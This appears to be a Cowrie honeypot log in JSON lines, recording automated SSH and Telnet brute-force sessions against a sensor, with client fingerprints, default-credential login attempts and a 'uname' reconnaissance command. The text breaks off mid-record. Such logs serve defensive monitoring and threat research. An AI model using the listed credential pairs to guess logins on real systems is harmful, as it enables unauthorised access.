{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:47.568803Z","src_ip":"176.65.132.129","session":"f71f0410b39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:47.816298Z","src_ip":"176.65.132.129","session":"f71f0410b39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:48.901772Z","src_ip":"176.65.132.129","session":"f71f0410b39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56742,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fcb0d9034a6","protocol":"telnet","message":"New connection: 152.42.224.71:56742 (10.17.0.5:23) [session: 1fcb0d9034a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:49.714035Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51746,"dst_ip":"159.203.135.109","dst_port":22,"session":"0afa1ece1a84","protocol":"ssh","message":"New connection: 176.65.132.129:51746 (159.203.135.109:22) [session: 0afa1ece1a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:50.893616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:50.898575Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:50.981027Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:51.226117Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:51.499965Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:51.503405Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:51.588808Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:51.594029Z","src_ip":"176.65.132.129","session":"0afa1ece1a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135636329651,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:51.723111Z","src_ip":"152.42.224.71","session":"a115ad4e1efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51762,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6126f111c9","protocol":"ssh","message":"New connection: 176.65.132.129:51762 (159.203.135.109:22) [session: 6b6126f111c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:54.164587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:54.169178Z","src_ip":"176.65.132.129","session":"6b6126f111c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:54.253580Z","src_ip":"176.65.132.129","session":"6b6126f111c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:54.500097Z","src_ip":"176.65.132.129","session":"6b6126f111c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37546,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5512d257541","protocol":"ssh","message":"New connection: 103.153.68.219:37546 (159.203.135.109:22) [session: b5512d257541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:54.754472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:54.760799Z","src_ip":"103.153.68.219","session":"b5512d257541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:55.012725Z","src_ip":"103.153.68.219","session":"b5512d257541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:55.585871Z","src_ip":"176.65.132.129","session":"6b6126f111c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"??????","message":"login attempt [root/??????] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:55.775902Z","src_ip":"103.153.68.219","session":"b5512d257541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:57.031176Z","src_ip":"103.153.68.219","session":"b5512d257541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46672,"dst_ip":"159.203.135.109","dst_port":22,"session":"637dc20f66aa","protocol":"ssh","message":"New connection: 176.65.132.129:46672 (159.203.135.109:22) [session: 637dc20f66aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:57.463571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:57.469093Z","src_ip":"176.65.132.129","session":"637dc20f66aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:57.552319Z","src_ip":"176.65.132.129","session":"637dc20f66aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:57.798871Z","src_ip":"176.65.132.129","session":"637dc20f66aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:58.884327Z","src_ip":"176.65.132.129","session":"637dc20f66aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46684,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed855de96eb4","protocol":"ssh","message":"New connection: 176.65.132.129:46684 (159.203.135.109:22) [session: ed855de96eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:00.846260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:00.851325Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:00.933458Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:01.179596Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:01.391666Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:01.395429Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:01.481933Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:01.487087Z","src_ip":"176.65.132.129","session":"ed855de96eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42712,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1cfec13c4b0","protocol":"telnet","message":"New connection: 152.42.224.71:42712 (10.17.0.5:23) [session: e1cfec13c4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:01.810320Z"}
{"eventid":"cowrie.session.closed","duration":46.742177963256836,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:02.804433Z","src_ip":"152.42.224.71","session":"4df87466a2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"71abd64b5228","protocol":"ssh","message":"New connection: 176.65.132.129:46710 (159.203.135.109:22) [session: 71abd64b5228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:04.083309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:04.087830Z","src_ip":"176.65.132.129","session":"71abd64b5228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:04.170244Z","src_ip":"176.65.132.129","session":"71abd64b5228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.87667512893677,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:04.350528Z","src_ip":"152.42.224.71","session":"3a838f0010ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:04.414019Z","src_ip":"176.65.132.129","session":"71abd64b5228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:05.498813Z","src_ip":"176.65.132.129","session":"71abd64b5228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35608,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a2787d33dde","protocol":"ssh","message":"New connection: 176.65.132.129:35608 (159.203.135.109:22) [session: 7a2787d33dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:07.380090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:07.385299Z","src_ip":"176.65.132.129","session":"7a2787d33dde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cer